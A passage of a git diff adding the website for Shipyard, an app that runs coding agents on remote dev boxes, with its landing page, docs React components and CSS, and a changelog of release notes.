+
+
+
+ );
+}
diff --git a/apps/shipyard/app/not-found.tsx b/apps/shipyard/app/not-found.tsx
new file mode 100644
index 000000000..240471203
--- /dev/null
+++ b/apps/shipyard/app/not-found.tsx
@@ -0,0 +1,44 @@
+import { Button } from "@coss/ui/components/button";
+import {
+ PageHeader,
+ PageHeaderDescription,
+ PageHeaderHeading,
+} from "@coss/ui/shared/page-header";
+import { ArrowLeft } from "lucide-react";
+import type { Metadata } from "next";
+import Link from "next/link";
+
+export const metadata: Metadata = {
+ description:
+ "The page you're looking for doesn't exist or may have been moved.",
+ title: "Page Not Found",
+};
+
+export default function NotFound() {
+ return (
+
+
+ Page Not Found
+
+ The page you're looking for doesn't exist or may have been
+ moved.
+
+
+
+
+
+ );
+}
diff --git a/apps/shipyard/app/opengraph-image.jpg b/apps/shipyard/app/opengraph-image.jpg
new file mode 100644
index 000000000..0b5ba3ca0
Binary files /dev/null and b/apps/shipyard/app/opengraph-image.jpg differ
diff --git a/apps/shipyard/app/page.tsx b/apps/shipyard/app/page.tsx
new file mode 100644
index 000000000..411e152d8
--- /dev/null
+++ b/apps/shipyard/app/page.tsx
@@ -0,0 +1,515 @@
+import type { Metadata } from "next";
+import { LandingRuntime } from "@/components/landing/runtime";
+import { appConfig, basePath as base } from "@/lib/config";
+
+export const metadata: Metadata = {
+ alternates: { canonical: appConfig.url },
+};
+
+const links = appConfig.links;
+
+// The landing page, as it was at berthd.app: the harbour, the pitch at its
+// foot, and the film's story in six chapters, each with one of the app's
+// line scenes and a short loop of the real app. Its styles are
+// app/landing.css; what moves on it (the dithered harbour, the night loop,
+// the chapters' loops and scenes, and the copy button)
+// is public/assets/*.js, brought in by components/landing/runtime.tsx
+// once the page has painted. The launch film's lightbox returns once the
+// film is hosted.
+export default function Page() {
+ return (
+
+
+
+ {/* The harbour: the painting, dithered and dissolving into the page by
+ assets/harbour.js; the plain painting until then, or without it. */}
+ {/* At night (dark mode, or the laptop closed) the harbour comes alive:
+ assets/hero-loop.js brings in the film's loop after the page has
+ loaded, from its first frame, dissolving into the page the same way.
+ Not for reduced motion or Save-Data. */}
+
+
+
+
+
+
+
+
+
+
Agents that keep working when your laptop sleeps.
+
+ Shipyard runs Claude Code, Codex and other coding agents on your own
+ dev boxes. Work with them from your laptop; close it, and they keep
+ going.
+
+ For Apple silicon and Intel Macs, signed and notarized. Open source.{" "}
+
+ How to get started
+
+
+
+
+ Linux (alpha): AppImage ·{" "}
+ .deb, x86-64.
+
+
+
+
+ {/* Below the harbour, the film's story in six chapters: each a line scene
+ with its one amber light, the film's caption, a few words, and a short
+ muted loop of the real app. The loops (assets/loops/, cut by
+ scripts/loops.sh) load and play only near the viewport; their posters
+ stand in until then, and for good under reduced motion or Save-Data
+ (assets/clips.js). */}
+
+
+
+
+
+
+ Start
+
+
One line. A worktree, a box, an agent.
+
+ Press ⌘N and say what you want. Shipyard makes a worktree on the
+ box you choose and starts Claude Code, Codex or another agent in
+ it, with its dev server in a tab of its own.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Watch it work
+
+
Every step, as it happens.
+
+ Commands and reads fold into a line, and edits arrive as diffs.
+ When Claude asks, you answer in place; what it publishes is one
+ click away.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Side by side
+
+
Two worktrees. One view.
+
+ Two worktrees share the tab strip as groups, each in its own
+ colour, and split into one tab. Compare puts them in mirrored
+ lanes: their chats, their diffs, their terminals.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Make it yours
+
+
Your themes. Your harbour.
+
+ Shipyard's own themes and nineteen ports of favourites, Dracula to
+ Rosé Pine, carried into the terminal and every diff. A chat
+ background of your own, and ⌘+ when you want it larger.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ It keeps going
+
+
Close the laptop. They keep going.
+
+ The agents run on your boxes, not on your laptop. Close it and
+ they keep working; open it in the morning and what they did is
+ there.
+
+
+
+
+
+
+
+
+
+ devl · 2 agents working
+
+
+
+ gpu · 1 agent working
+
+
+
+
+
+
+
+
+
+
+
+ Install
+
+
Your agents, docked.
+
+ The app for your Mac, and berthd on each box. Free and open source.
+
+ );
+}
diff --git a/apps/shipyard/components/docs/callout.tsx b/apps/shipyard/components/docs/callout.tsx
new file mode 100644
index 000000000..b69a701a2
--- /dev/null
+++ b/apps/shipyard/components/docs/callout.tsx
@@ -0,0 +1,53 @@
+import { CircleAlert, CircleCheck, CircleX, Info } from "lucide-react";
+import type { ReactNode } from "react";
+
+// Callouts in the brand: one outline all round, never a coloured stripe down
+// one side. A warning tints the whole outline amber, the colour that means
+// "this needs you"; everything else stays neutral and says what it is with a
+// glyph.
+type CalloutType =
+ | "info"
+ | "warn"
+ | "warning"
+ | "error"
+ | "success"
+ | "idea"
+ | "tip";
+
+const icons = {
+ error: CircleX,
+ info: Info,
+ success: CircleCheck,
+ warning: CircleAlert,
+} as const;
+
+export function Callout({
+ type = "info",
+ title,
+ children,
+}: {
+ type?: CalloutType;
+ title?: ReactNode;
+ children?: ReactNode;
+}) {
+ const kind =
+ type === "warn" || type === "warning"
+ ? "warning"
+ : type === "error" || type === "success"
+ ? type
+ : "info";
+ const Icon = icons[kind];
+ return (
+
+
+
+ {title &&
{title}
}
+
{children}
+
+
+ );
+}
diff --git a/apps/shipyard/components/docs/cards.tsx b/apps/shipyard/components/docs/cards.tsx
new file mode 100644
index 000000000..ed62b9fcd
--- /dev/null
+++ b/apps/shipyard/components/docs/cards.tsx
@@ -0,0 +1,51 @@
+import Link from "next/link";
+import type { ReactNode } from "react";
+import { cn } from "@/lib/utils";
+
+// A grid of linked cards, the way the docs' introduction lays out the path
+// through getting started (.berth-path numbers them).
+export function Cards({
+ className,
+ children,
+}: {
+ className?: string;
+ children: ReactNode;
+}) {
+ return (
+
+ )}
+
+ );
+}
diff --git a/apps/shipyard/components/docs/diagram.css b/apps/shipyard/components/docs/diagram.css
new file mode 100644
index 000000000..1352e68b9
--- /dev/null
+++ b/apps/shipyard/components/docs/diagram.css
@@ -0,0 +1,339 @@
+/* Diagrams (diagram.tsx): the landing page's "How it works" in a docs
+ column. Neutral cards on a quiet ground, places drawn as a dashed
+ outline, links as ropes with their details in chips. No colour carries
+ meaning here, and no amber: that is kept for the thing that needs you.
+ A stack by default; a row once the column has room (a container query,
+ so it follows the column, not the window). */
+
+.berth-dg {
+ --dg-line: #71737c;
+ --dg-outline: #d4d5da;
+ --dg-edge-w: 96px;
+ --dg-label-h: 28px;
+ margin: 1.75rem 0 2rem;
+ container-type: inline-size;
+}
+
+.dark .berth-dg {
+ --dg-line: #8a8c95;
+ --dg-outline: #3a3b42;
+}
+
+.berth-dg-panel {
+ background: var(--card);
+ border: 1px solid var(--berth-border-soft);
+ border-radius: 16px;
+ padding: 14px;
+}
+
+.berth-dg-flow,
+.berth-dg-group-flow {
+ display: flex;
+ flex-direction: column;
+ min-width: 0;
+}
+
+/* A place: a laptop, a box. */
+.berth-dg-group {
+ display: flex;
+ flex-direction: column;
+ min-width: 0;
+ border: 1px dashed var(--dg-outline);
+ border-radius: 12px;
+ padding: 0 9px 9px;
+}
+
+.berth-dg-group-label {
+ display: flex;
+ align-items: center;
+ gap: 7px;
+ height: var(--dg-label-h);
+ margin: 0;
+ padding-left: 2px;
+ white-space: nowrap;
+ overflow: hidden;
+ text-overflow: ellipsis;
+ font-size: 12.5px;
+ font-weight: 500;
+ color: var(--muted-foreground);
+}
+
+.berth-dg-glyph {
+ width: 15px;
+ height: 15px;
+ flex: none;
+ color: var(--dg-line);
+}
+
+.berth-dg-group-flow {
+ flex: 1;
+}
+
+/* A component. */
+.berth-dg-node {
+ min-width: 0;
+ background: var(--background);
+ border: 1px solid var(--border);
+ border-radius: 10px;
+ padding: 12px 13px 13px;
+}
+
+.berth-dg-title {
+ margin: 0;
+ font-size: 14px;
+ line-height: 1.35;
+ font-weight: 600;
+ color: var(--foreground);
+}
+
+.berth-dg-sub {
+ margin: 2px 0 0;
+ font-size: 12.5px;
+ line-height: 1.4;
+ color: var(--muted-foreground);
+}
+
+.berth-dg-body ul {
+ list-style: none;
+ margin: 9px 0 0;
+ padding: 0;
+ display: grid;
+ gap: 4px;
+ font-size: 13px;
+ line-height: 19px;
+ color: var(--berth-fg-2);
+}
+
+.berth-dg-body li {
+ position: relative;
+ margin: 0;
+ padding-left: 13px;
+}
+
+/* The landing page's list mark: a short dash, not a bullet. A glyph, so
+ it lands on the same pixels in every row. */
+.berth-dg-body li::before {
+ content: "\2013";
+ position: absolute;
+ left: 0;
+ top: 0;
+ color: var(--dg-line);
+}
+
+/* Stacked, a node is as wide as the column: its list takes two columns. */
+@container (min-width: 420px) {
+ .berth-dg-body ul {
+ grid-template-columns: repeat(2, minmax(0, 1fr));
+ column-gap: 16px;
+ }
+}
+
+.berth-dg-body p {
+ margin: 8px 0 0;
+ font-size: 13px;
+ line-height: 1.45;
+ color: var(--berth-fg-2);
+}
+
+.berth-dg-body code {
+ font-size: 12px;
+ color: var(--foreground);
+ background: none;
+ border: 0;
+ padding: 0;
+}
+
+/* A link. Stacked: the label on the left of a rope that runs down, its
+ details on the right. */
+.berth-dg-edge {
+ display: grid;
+ grid-template-columns: minmax(0, 1fr) 10px minmax(0, 1fr);
+ align-items: center;
+ column-gap: 12px;
+ min-height: 60px;
+ padding: 4px 0;
+ color: var(--dg-line);
+}
+
+.berth-dg-edge-label {
+ grid-column: 1;
+ grid-row: 1;
+ justify-self: end;
+ text-align: right;
+ font-size: 12.5px;
+ font-weight: 500;
+ line-height: 1.35;
+ color: var(--foreground);
+}
+
+.berth-dg-rope {
+ grid-column: 2;
+ grid-row: 1;
+ align-self: stretch;
+ display: flex;
+ flex-direction: column;
+ align-items: center;
+}
+
+.berth-dg-rope-line {
+ position: relative;
+ display: block;
+ overflow: hidden;
+ flex: 1;
+ width: 1.5px;
+ min-height: 24px;
+ background: currentColor;
+}
+
+/* A rope: dashes that travel from the thing before to the thing after. The
+ dashes are a gradient on a pseudo-element that slides one period (11px),
+ so only a transform moves; reduced motion stops it (global.css). */
+.berth-dg-edge[data-line="rope"] .berth-dg-rope-line {
+ background: none;
+}
+
+.berth-dg-edge[data-line="rope"] .berth-dg-rope-line::before {
+ content: "";
+ position: absolute;
+ inset: -11px 0 0;
+ background: repeating-linear-gradient(
+ 180deg,
+ currentColor 0 6px,
+ transparent 6px 11px
+ );
+ animation: berth-dg-down 2.4s linear infinite;
+}
+
+.berth-dg-arrow {
+ width: 10px;
+ height: 10px;
+ flex: none;
+ margin-top: -4px;
+ transform: rotate(90deg);
+}
+
+.berth-dg-chips {
+ grid-column: 3;
+ grid-row: 1;
+ display: flex;
+ flex-wrap: wrap;
+ gap: 5px;
+ justify-content: flex-start;
+}
+
+.berth-dg-chip {
+ font-size: 11.5px;
+ line-height: 1.5;
+ color: var(--berth-fg-2);
+ background: var(--background);
+ border: 1px solid var(--border);
+ border-radius: 999px;
+ padding: 1px 8px;
+ white-space: nowrap;
+}
+
+.berth-dg-caption {
+ margin: 10px 2px 0;
+ max-width: 68ch;
+ font-size: 13.5px;
+ line-height: 1.55;
+ color: var(--muted-foreground);
+}
+
+@keyframes berth-dg-down {
+ to {
+ transform: translateY(11px);
+ }
+}
+
+@keyframes berth-dg-across {
+ to {
+ transform: translateX(11px);
+ }
+}
+
+/* A row, once the column has room for one: nodes share the spare width
+ evenly, edges keep theirs, and a group grows by the nodes in it. */
+@container (min-width: 640px) {
+ .berth-dg-panel {
+ padding: 16px;
+ }
+
+ .berth-dg-flow,
+ .berth-dg-group-flow {
+ flex-direction: row;
+ align-items: stretch;
+ }
+
+ .berth-dg-node {
+ flex: 1 1 0;
+ }
+
+ .berth-dg-body ul {
+ grid-template-columns: minmax(0, 1fr);
+ }
+
+ .berth-dg-group {
+ flex: var(--dg-nodes, 1) 1
+ calc(var(--dg-edges, 0) * var(--dg-edge-w) + 20px);
+ }
+
+ .berth-dg-edge {
+ flex: 0 0 var(--dg-edge-w);
+ grid-template-columns: minmax(0, 1fr);
+ grid-template-rows: 1fr auto 1fr;
+ row-gap: 7px;
+ min-height: 0;
+ padding: 0 5px;
+ text-align: center;
+ }
+
+ /* Between places, line up with the nodes, not the place's label. */
+ .berth-dg-flow > .berth-dg-edge {
+ padding-top: var(--dg-label-h);
+ }
+
+ .berth-dg-edge-label {
+ grid-column: 1;
+ grid-row: 1;
+ align-self: end;
+ justify-self: center;
+ text-align: center;
+ }
+
+ .berth-dg-rope {
+ grid-column: 1;
+ grid-row: 2;
+ flex-direction: row;
+ align-self: center;
+ width: 100%;
+ }
+
+ .berth-dg-rope-line {
+ width: auto;
+ height: 1.5px;
+ min-height: 0;
+ }
+
+ .berth-dg-edge[data-line="rope"] .berth-dg-rope-line::before {
+ inset: 0 0 0 -11px;
+ background: repeating-linear-gradient(
+ 90deg,
+ currentColor 0 6px,
+ transparent 6px 11px
+ );
+ animation-name: berth-dg-across;
+ }
+
+ .berth-dg-arrow {
+ margin: 0 0 0 -4px;
+ transform: none;
+ }
+
+ .berth-dg-chips {
+ grid-column: 1;
+ grid-row: 3;
+ align-self: start;
+ justify-content: center;
+ }
+}
diff --git a/apps/shipyard/components/docs/diagram.tsx b/apps/shipyard/components/docs/diagram.tsx
new file mode 100644
index 000000000..302614a0b
--- /dev/null
+++ b/apps/shipyard/components/docs/diagram.tsx
@@ -0,0 +1,183 @@
+import {
+ Children,
+ type CSSProperties,
+ isValidElement,
+ type ReactNode,
+} from "react";
+
+// Diagrams in the landing page's language ("How it works", site/index.html):
+// neutral cards on a quiet ground, joined by ropes, with the details of a
+// link as small chips. Real HTML text, so it reads, wraps, selects and
+// translates; the line work is inline SVG and CSS. A row on a wide column,
+// a stack on a narrow one (a container query, diagram.css).
+//
+//
+//
+//
+// - Desktop app
+//
+//
+//
+//
+//
+// …
+//
+//
+// Children run in order, left to right (top to bottom when stacked). Edges
+// point from the thing before them to the thing after.
+
+type Icon = "laptop" | "box";
+
+const glyphs: Record = {
+ laptop: (
+ <>
+
+
+
+ ),
+ box: (
+ <>
+
+
+
+
+ ),
+};
+
+function Glyph({ name }: { name: Icon }) {
+ return (
+
+ );
+}
+
+export function Diagram({
+ caption,
+ children,
+}: {
+ caption: ReactNode;
+ children: ReactNode;
+}) {
+ return (
+
+
+
{children}
+
+ {caption}
+
+ );
+}
+
+// A place things run (a laptop, a box): a labelled region around its nodes.
+export function DiagramGroup({
+ label,
+ icon,
+ children,
+}: {
+ label: string;
+ icon?: Icon;
+ children: ReactNode;
+}) {
+ const kids = Children.toArray(children).filter(isValidElement);
+ // Nodes share the row's spare width evenly, so a group grows by its nodes
+ // and keeps room for the edges inside it.
+ const style = {
+ "--dg-nodes": Math.max(
+ 1,
+ kids.filter((k) => k.type === DiagramNode).length,
+ ),
+ "--dg-edges": kids.filter((k) => k.type === DiagramEdge).length,
+ } as CSSProperties;
+ return (
+
+
+ {icon && }
+ {label}
+
+
{children}
+
+ );
+}
+
+// One component: a title, an optional line under it, and what it does as a
+// short Markdown list.
+export function DiagramNode({
+ title,
+ sub,
+ children,
+}: {
+ title: ReactNode;
+ sub?: ReactNode;
+ children?: ReactNode;
+}) {
+ return (
+
+
{title}
+ {sub &&
{sub}
}
+ {children &&
{children}
}
+
+ );
+}
+
+// A link from the thing before it to the thing after it. A rope (dashes that
+// travel, the landing page's) is a network connection; a solid line is a
+// local one.
+export function DiagramEdge({
+ label,
+ details = [],
+ line = "rope",
+}: {
+ label: string;
+ details?: string[];
+ line?: "rope" | "solid";
+}) {
+ return (
+
+
+
+
+ );
+}
+
+function MobileLink({
+ href,
+ onOpenChange,
+ className,
+ children,
+ ...props
+}: LinkProps & {
+ onOpenChange?: (open: boolean) => void;
+ children: React.ReactNode;
+ className?: string;
+}) {
+ return (
+ onOpenChange?.(false)}
+ {...props}
+ >
+ {children}
+
+ );
+}
diff --git a/apps/shipyard/components/site-footer.tsx b/apps/shipyard/components/site-footer.tsx
new file mode 100644
index 000000000..e712c9123
--- /dev/null
+++ b/apps/shipyard/components/site-footer.tsx
@@ -0,0 +1,38 @@
+import Link from "next/link";
+import { appConfig } from "@/lib/config";
+
+export function SiteFooter() {
+ return (
+
+ );
+}
diff --git a/apps/shipyard/components/site-header.tsx b/apps/shipyard/components/site-header.tsx
new file mode 100644
index 000000000..9bb5f1f91
--- /dev/null
+++ b/apps/shipyard/components/site-header.tsx
@@ -0,0 +1,33 @@
+import { Separator } from "@coss/ui/components/separator";
+import { SiteHeader as WorkspaceSiteHeader } from "@coss/ui/shared/site-header";
+import { CommandMenu } from "@/components/command-menu";
+import { MainNav } from "@/components/main-nav";
+import { MobileNav } from "@/components/mobile-nav";
+import { appConfig } from "@/lib/config";
+import { source } from "@/lib/source";
+
+// coss.com's bar with "shipyard" as the product, Docs and Download, the
+// docs' search, and Shipyard's own repository behind the GitHub link.
+export function SiteHeader() {
+ const pageTree = source.pageTree;
+
+ return (
+
+ }
+ >
+
+
+
+
+
+
+ );
+}
diff --git a/apps/shipyard/content/docs/(root)/changelog.mdx b/apps/shipyard/content/docs/(root)/changelog.mdx
new file mode 100644
index 000000000..5ebb89571
--- /dev/null
+++ b/apps/shipyard/content/docs/(root)/changelog.mdx
@@ -0,0 +1,1277 @@
+---
+title: Changelog
+description: What changed in each Shipyard release, newest first.
+---
+
+Releases are on [GitHub](https://github.com/cosscom/shipyard/releases).
+The Mac app [updates itself](/docs/getting-started/install#updates); a box
+upgrades with `berth upgrade BOX`, or by running the
+[install command](/docs/getting-started/add-a-box#with-the-install-command)
+again.
+
+## Unreleased
+- The website's header is now coss.com's: "coss.com shipyard", with Docs,
+ Download, GitHub and its stars, and "Close the laptop" as an icon, and coss.com's
+ lines down the sides of the page and across the top of each chapter.
+- **Review no longer keeps a box busy while an item is open.** With an item
+ open, Review read the box's inbox and the item's diff again every couple of
+ seconds for as long as it showed, each read setting off the next. It now
+ reads them once, and again only when something changes.
+- **Make a worktree without waiting for its setup.** `worktree new --no-setup`
+ creates it at once, without the setup script or autostart services, and
+ `worktree setup LOC/NAME [--wait]` runs them later.
+- **Leadline: what your code did in development, as tabs on a worktree.** A
+ new plugin in **Settings → Plugins → Browse** adds **Queries**,
+ **Traces**, **Logs** and **Endpoints** to a worktree: every database
+ query grouped by shape with its N+1s flagged, each request as a
+ waterfall with its SQL and logs, and per-route latency and queries per
+ request. **Send to the agent** writes a slow query, an N+1 or a failing
+ endpoint up for the worktree's agent, and shows you the text before it
+ goes. It is off until you turn it on for a box, which installs a small
+ program there (`berth-leadline`) after asking; what it records stays on
+ that box, for 72 hours. Queries to a Postgres on the box are recorded
+ with no changes to your app; traces and logs need an OpenTelemetry SDK
+ in it. A plugin that carries a program like this says so, by the
+ program's name, before you allow it and in its row in Settings →
+ Plugins. See [Leadline](/docs/guides/leadline); plugin authors get
+ `berth.helper` and a `Chart` component in the
+ [plugin SDK](/docs/reference/plugin-sdk#helper).
+- **Plugins can be installed from the app.** Settings → Plugins has a new
+ **Browse** list of plugins that aren't built in, starting with Hello
+ ports. Install puts one under Installed, off: it runs only once you allow
+ it, like any plugin of your own, and after an update Shipyard asks again.
+ Remove deletes one you installed this way. To list a plugin of yours, see
+ [publish it to the listing](/docs/guides/plugins#publish-it-to-the-listing).
+- **Shipyard has its own mark.** The B from when the app was called Berth is
+ gone: the icon is now a hull seen bow-on, resting on its keel blocks, with
+ the amber lamp lit inside. It is on the app and its dock icon, the phone
+ app, the site and the docs.
+- **Linear issues in Shipyard.** Paste a personal API key in **Settings →
+ Integrations**, and **Issues** gets a Linear side beside GitHub: what is
+ assigned to you or a team's open issues, each with its description and
+ comments, and **Start an agent** on any of them, in the project you
+ choose, on the branch Linear suggests for the issue. A row then shows how
+ its agent is doing. Home has a **Linear** widget for what is assigned to
+ you. The key stays in a file only you can read on this computer: the
+ laptop agent makes every call to Linear, and the app, plugins and boxes
+ never see it. See [Linear](/docs/guides/linear).
+- **`worktree new` can check out a pull request.** Pass `--pr N` with the
+ pull request's head branch as `--branch`, and the worktree starts on that
+ branch as origin has it. A pull request from a fork is fetched from
+ `pull/N/head`, or from the ref you give with `--ref`.
+- **Links in a terminal open with ⌘-click, and say so.** A link used to
+ underline and show the pointing hand on a plain hover, where a click did
+ nothing, and links a program made with its own text (OSC 8) never opened
+ at all. Now resting on a link shows "⌘-click to open", the hand appears
+ while ⌘ is held, and ⌘-click opens the address in your browser, OSC 8
+ links included (Ctrl-click in the Linux app). A long link that wraps
+ over several rows, such as Codex's ChatGPT sign-in link, opens whole
+ from any of its rows; before, it couldn't be clicked at all.
+- **A home widget's ⋯ menu opens again.** It broke the home screen with
+ "Base UI error #31" instead of showing its Size and Refresh options.
+- **A Browser tab on a port with nothing listening no longer crashes the
+ app.** Opening `http://localhost:3000` before its dev server started closed
+ Shipyard half a second later, and again on every launch after, since the
+ tab came back.
+- **The laptop agent is lighter per request.** Proxied pages, port forwards
+ and calls to your boxes allocate a fraction of what they did, and the kits
+ and team suggestions ask all your boxes at once.
+- **Shipyard opens faster.** It now loads four files before it first paints
+ instead of about three hundred, and settings, dialogs and the browser pane
+ load just after start. In our tests, the window drew in about a fifth of the
+ time.
+- **Chats keep up while an agent writes.** A streamed reply costs about a
+ third of the work it did on the page, and typing in a chat, Home's composer
+ or the sidebar's menus stays quick with hundreds of worktrees.
+- **The app asks the agent and your boxes less.** An idle chat makes about
+ half the requests it did, starting reads every box once, and a box's large
+ answers cross the link to your laptop about ten times smaller.
+- **berthd uses less of a box.** Following a chat, a reply as it streams and
+ the agents' screens runs fewer tmux commands and less CPU; a chat's own
+ poll takes about a quarter of what it did.
+ Opening a long conversation uses a tenth of the memory, and a cache that grew
+ with every conversation now stays small.
+- **The Mac app is 20% smaller.**
+
+## v0.3.13
+
+Most of this needs each box's new `berthd`: use **Update all** in the status
+bar, or `berth upgrade BOX`.
+
+- **The Review in Shipyard button is for UI work.** berthd adds it only to a
+ PR whose files change something a browser shows, agents add it only for
+ such changes, and the button is the words alone, without a mark.
+
+- **Shipyard notices when your team has a setup.** If you added a project
+ from `acme` yourself and acme publishes a [team setup](/docs/guides/team-setup),
+ Shipyard says so quietly: a small icon on the project's row and a line in
+ its menu, a line in Project settings saying what it sets up for the repo,
+ a card on Home once, and **Team setup for acme** in ⌘K. **Review…** opens
+ the setup with your project used as it is; nothing runs until you choose.
+ **Not now** and **Don't suggest again for acme** put it away. The laptop
+ checks only your projects' owners, with your own `gh`, at most daily (weekly
+ for a person's account), and never offline. The project menu also has
+ **Copy team setup link**. See
+ [how Shipyard notices your team's setup](/docs/guides/team-setup#how-shipyard-notices-your-teams-setup).
+
+- **Just the kit from a team setup.** **Use acme's kit for this project…**
+ applies only a project's kit from `acme/.berth` to the project you have: no
+ box steps, sudo, clone or 1Password. The sheet lists the tools the kit needs
+ and whether the box has them; the shared keys and the first-time setup are
+ each an opt-in. The kit then follows the team's newer commits as an update
+ to review. See [just the kit](/docs/guides/team-setup#just-the-kit).
+
+- **Team setup uses the clones you already have.** Before cloning a repo,
+ Shipyard looks for one on the box: a project you added already, or a
+ clone in `~/code`, `~/work`, `~/src` and the like (matched by its origin,
+ reading nothing else). The page shows "Found ~/work/acme-web … · Use this
+ / Clone a fresh copy", and using it changes nothing in it: no checkout,
+ stash, reset or pull, and your `.env` and uncommitted changes stay as
+ they are. Its existing worktrees show in the sidebar and are set up the
+ first time you open each. `berth team setup … --use web=PATH` does the
+ same from the command line. See
+ [repositories you already cloned](/docs/guides/team-setup#repositories-you-already-cloned).
+
+- **Review links can open logged in, at a page.** Add `&as=pro@acme.test&path=/event-types`
+ to a review link (or `--as` and `--path` to `berth review`), and the
+ review opens in its Browser tab logged in as that dev user, at that page,
+ when the project's login lists them; otherwise it opens without logging
+ in, and the sheet says why. **Copy review link as…** in the worktree menu
+ makes one. See [review a PR](/docs/guides/review-a-pr#opening-logged-in-at-a-page).
+
+- **A Review in Shipyard button on pull requests.** GitHub drops
+ `berth://` links from PR descriptions, so a review link is now a button
+ that goes through `https://berthd.app/review`, a small page that checks
+ the link and opens the review in Shipyard (with a link to the PR on
+ GitHub, and to install Shipyard). Agents add it to the PRs they open,
+ logged in as one of the project's dev users and at the page their change
+ affects (`berthd login users` lists them). Turn on `"review_button"` for a
+ project (its `.berth/config.json`, Project settings, or the team's
+ `team.json`) and berthd adds it to each new PR from the project's
+ worktrees by itself, once, without touching the rest of the description;
+ never to a fork's PR or one from outside the org.
+- **Review a PR in one click, on your own box.** A review link,
+ `berth://review?repo=acme/shop&pr=42`, or `berth review acme/shop#42`,
+ opens a review sheet: the PR, its author, the exact commit, the box, what
+ will run there, which keys it gets, and what in the PR changes setup.
+ **Review** makes a worktree at that commit, set up by your team's kit,
+ and opens it with the dev server in a Browser tab and the Diff beside it.
+ Only your team's projects, and only PRs by members and collaborators from
+ the repository itself; never a fork's. The PR's own `.berth/` never runs,
+ the review never gets your own keys, and it cleans itself up when the PR
+ is merged or closed, or after a week unused. **Copy review link** is in
+ every worktree's menu whose branch has a PR. See
+ [review a PR](/docs/guides/review-a-pr).
+- **Open a worktree logged in as a dev user.** A kit, or a project's
+ config, can name a login script and the users it logs in (`"login":
+ {"script", "users", "any"}`). The Browser tab's **Log in as…** menu and ⌘K
+ list them; picking one runs the script against that worktree's own dev
+ server and database and sets its session for that worktree's address
+ alone. Agents get the same with `berthd browser open --as EMAIL`, and
+ `berthd shots compare --as EMAIL` shoots both sides logged in. A link
+ works too: `http://WT.LOC.BOX.localhost:1377/__berth/login?as=EMAIL&next=/path`.
+ See [kits](/docs/guides/kits#personas-logging-in-as-a-dev-user).
+
+## v0.3.12
+
+- **The Linux alpha's downloads.** v0.3.11's Linux build stopped before it
+ began (Ubuntu 22.04, which it builds on for older systems, has no
+ `minisign`), so v0.3.11 shipped for the Mac only. This release carries the
+ AppImage and `.deb` for x86-64 and adds Linux to the update feed; see
+ [Linux (alpha)](/docs/getting-started/install#linux-alpha).
+
+- **Install with Homebrew.** `brew tap cosscom/shipyard https://github.com/cosscom/shipyard`,
+ then `brew install --cask cosscom/shipyard/shipyard`, installs the Mac app
+ and puts `berth` on your `PATH`.
+
+- **Handed-off worktrees nest under the one they came from.** When an
+ agent starts a task, or hands its work off, the new worktree shows under
+ the agent's own in the sidebar, folded behind a "1 child" pill. `berthd
+ worktree new … --parent NAME` nests one by hand, such as a stacked branch
+ under the branch it builds on.
+
+- **GitHub flows see every worktree's PR.** One poll looks at no more than
+ 20 PRs, and it always started from the same worktree, so on a box with
+ more worktrees than that the rest were never looked at: a merge, review or
+ failed check there started nothing. Each poll now starts where the last
+ one stopped. Merged and closed PRs no longer take a turn every poll
+ either; a flow looks at them again once an hour, in case one is reopened.
+ [GitHub triggers](/docs/guides/automations#on-github).
+
+## v0.3.11
+
+Most of this needs each box's new `berthd`: use **Update all** in the status
+bar, or `berth upgrade BOX`. Agents keep running through the update.
+
+- **More than one way to each box.** Shipyard can now reach a box over SSH
+ and at other addresses as well as over Tailscale, and sends new requests
+ over the fastest route that works. When the route in use stops answering,
+ requests move to another within seconds; open terminals follow once it is
+ clearly down, without closing, and keys typed meanwhile still arrive. A
+ box you added over SSH gets its SSH route on its own. Settings › Boxes
+ shows each box's routes with their latency ("via SSH, 24 ms · Tailscale,
+ 140 ms"), and turns them on or off; `berth boxes` shows the route in use
+ and `berth doctor BOX` lists them all.
+- **Sessions clean up after themselves.** Ending a session now stops
+ everything it started, such as a repository's Playwright tests and their
+ browsers or a dev server, even ones left running in the background after
+ the agent was killed. On Linux with systemd each new session runs in a
+ scope of its own, which also lets it outlive berthd as before; elsewhere
+ Shipyard finds the session's processes by their tree (and, on Linux, the
+ session's marker). Your own processes and tmux are never touched.
+- **See and stop a box's browsers.** Click a box's memory meter in the
+ status bar to see every Chromium, Chrome and Firefox on it, with who
+ started it (Shipyard's agent browser, an agent-browser session, a
+ session's tests, one left behind, or yours), its CPU, memory and age, and
+ **Stop** for Shipyard's and its sessions'. The sessions using the most
+ memory are below. Settings → Boxes shows the same, and agents see it with
+ `berthd ps` and in `berthd doctor`.
+- **A memory limit per session.** Settings → Boxes can hold each session on
+ a box under a limit, such as 12 GB (Linux with systemd). A session near it
+ is slowed down, never stopped, and its chat and tab say "using 11.8 GB,
+ near its 12 GB limit".
+- **A lighter agent browser.** It closes after 5 idle minutes instead of 10
+ (agent-browser sessions too), keeps to two renderer processes, and caps a
+ page's JavaScript heap at 512 MB, which saves about 35 MB per browser
+ (`BERTH_BROWSER_JS_HEAP_MB` raises it).
+- **A slow or relayed link to a box stays connected and says why.** A box
+ reached through a Tailscale relay far away (80 ms, then 2 s) used to flip
+ to offline and back: the agent called a box away after one health check
+ with no answer, and checked it whenever a request had waited 5 s. Now a
+ slow or unanswered check marks the box **slow**, not offline: requests to
+ it still go through and its connection, with the terminals on it, is
+ kept. Only a second failure in a row takes it away (a refused connection,
+ a changed key or berthd stopping still does at once), so a box that
+ really went shows Reconnecting in about 20 s. A request now waits 10 s
+ before it has the box checked. The status bar and sidebar say "slow",
+ quietly; **Settings › Boxes** shows the latency, why it's slow, and when
+ Tailscale relays the box: "Relayed through Tailscale's New York server:
+ no direct connection", with what fixes it. `berth doctor BOX` says so
+ too, and the agent's log has a line for every change of a box's state,
+ with why. [A relayed link](/docs/concepts/laptop-agent#a-relayed-link).
+- **`berth ping` says a box's latency.** It printed one number that was
+ connecting, TLS and a request together (about three round trips), so a box
+ 100 ms away read as 300 ms. It now says how long connecting took, then
+ pings on the open connection, as the app uses it: `cal: 88ms 90ms 118ms
+ (min 88ms, avg 99ms, max 118ms on the open connection)`. `-c N` sets how
+ many.
